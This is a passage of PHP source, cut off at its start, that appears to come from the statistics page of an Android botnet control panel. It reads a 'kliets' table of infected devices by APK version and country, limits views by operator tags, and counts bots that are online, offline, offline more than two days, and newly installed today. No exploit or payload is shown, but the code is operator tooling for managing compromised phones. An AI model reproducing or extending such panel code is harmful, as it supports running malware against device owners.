exec('SET NAMES utf8'); $sql = "SELECT version_apk, country, lastConnect, firstConnect FROM kliets"; $Country[]=""; for($ii=0;$ii<5000;$ii++) { $kol[$ii] = 0; $kol_on[$ii] = 0; $kol_off[$ii] = 0; $kol_off2x[$ii] = 0; $setup[$ii] = 0; $installs[$ii] = 0; $kills[$ii] = 0; } $all_kol = 0; $all_kol_on = 0; $all_kol_off = 0; $all_kol_off2x = 0; $all_setup = 0; $all_installs = 0; $all_kills = 0; $kol_offline=0; $indexSQL=0; /****Ограничение по тегам****/ $userRights = new users_right; $tags = explode("|", $userRights->getPrivateTags()); $thisTag = explode(",", $tags[0]); $privateTag = explode(",", $tags[1]); /****************************/ foreach($connection->query($sql) as $row) { $country = $row['country']; $version_apk = $row['version_apk']; if($_SESSION['panel_right']!="admin")//Ограничение по тегам { $boolContinue=true; if($tags[0]!=",") { foreach($thisTag as $tag) { if($version_apk == $tag) { if($tag!="") { $boolContinue=false; break; } } } if($boolContinue)continue; } else { foreach($privateTag as $tag) { if($version_apk == $tag) { if($tag!="") { $boolContinue=false; break; } } } if(!$boolContinue)continue; } }//--------------- if($indexSQL==0) { $Country[]=$country; $indexSQL++; }else{ $goCountry = false; for ($i = 0; $i <= count($Country)-1; $i++){ if($country == $Country[$i]){ $goCountry = true; break; } } if($goCountry == false){ $Country[]=$country; } } } foreach($connection->query($sql) as $row){ $version_apk = $row['version_apk']; $country = $row['country']; if($_SESSION['panel_right']!="admin")//Ограничение по тегам { $boolContinue=true; if($tags[0]!=",") { foreach($thisTag as $tag) { if($version_apk == $tag) { if($tag!="") { $boolContinue=false; break; } } } if($boolContinue)continue; } else { foreach($privateTag as $tag) { if($version_apk == $tag) { if($tag!="") { $boolContinue=false; break; } } } if(!$boolContinue)continue; } }//--------------- $all_kol++; for ($i = 0; $i <= count($Country)-1; $i++){ if($country == $Country[$i]){ $kol[$i]++; break; } } //******Получаем иконку состояния бота, вычисляем дату**** $arr_data_from = explode(" ", $row['lastConnect']); $arr_data_till = explode(" ", date('Y-m-d H:i')); $date_from = $arr_data_from[0]; $date_till = $arr_data_till[0]; $date_from = explode('-', $date_from); $date_till = explode('-', $date_till); $time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]); $time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]); $day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней! //----------Секунды!-------/ $date1 = new \DateTime($row['lastConnect']); $date2 = new \DateTime(date('Y-m-d H:i')); $diff = $date2->diff($date1); // разница в секундах $seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах! ($diff->m * 30 * 24 * 60 * 60) + ($diff->d * 24 * 60 * 60) + ($diff->h * 60 * 60) + ($diff->i * 60) + $diff->s; //----------обработка состояние иконки on/off-------/ if($day>=2)//Дни! { $all_kol_off++; $all_kol_off2x++; for ($i = 0; $i <= count($Country)-1; $i++){ if($country == $Country[$i]){ $kol_off2x[$i]++; $kol_off[$i]++; break; } } } else { if($seconds<=120) { $all_kol_on++; for ($i = 0; $i <= count($Country)-1; $i++){ if($country == $Country[$i]){ $kol_on[$i]++; break; } } } else { $kol_offline++; $all_kol_off++; for ($i = 0; $i <= count($Country)-1; $i++){ if($country == $Country[$i]){ $kol_off[$i]++; break; } } } } //************Установок за сегондя******************************************** $arr_data_from2 = explode(" ", $row['firstConnect']); $arr_data_till2 = explode(" ", date('Y-m-d H:i')); $date_from2 = $arr_data_from2[0]; $date_till2 = $arr_data_till2[0]; $date_from2 = explode('-', $date_from2); $date_till2 = explode('-', $date_till2); $time_from2 = mktime(0, 0, 0, $date_from2[1], $date_from2[2], $date_from2[0]); $time_till2 = mktime(0, 0, 0, $date_till2[1], $date_till2[2], $date_till2[0]); $day2 = ($time_till2 - $time_from2)/60/60/24; //получаем разницу кол-во дней! if($day2 == 0)//считаем количество установок за сегодня { $all_setup++; for ($i = 0; $i <= count($Country)-1; $i++){ if($country == $Country[$i]){ $setup[$i]++; break; } } } } ?>
Statistics

"; for ($i = 0; $i<=count($Country)-1; $i++){ if($Country[$i]!=""||$Country[$i]!=null) { echo ""; } } echo ""; ?>
Count Online Offline Offline more than 2 days Installed today
$kol[$i] $kol_on[$i] $kol_off[$i] $kol_off2x[$i] $setup[$i]
Total $all_kol $all_kol_on $all_kol_off $all_kol_off2x $all_setup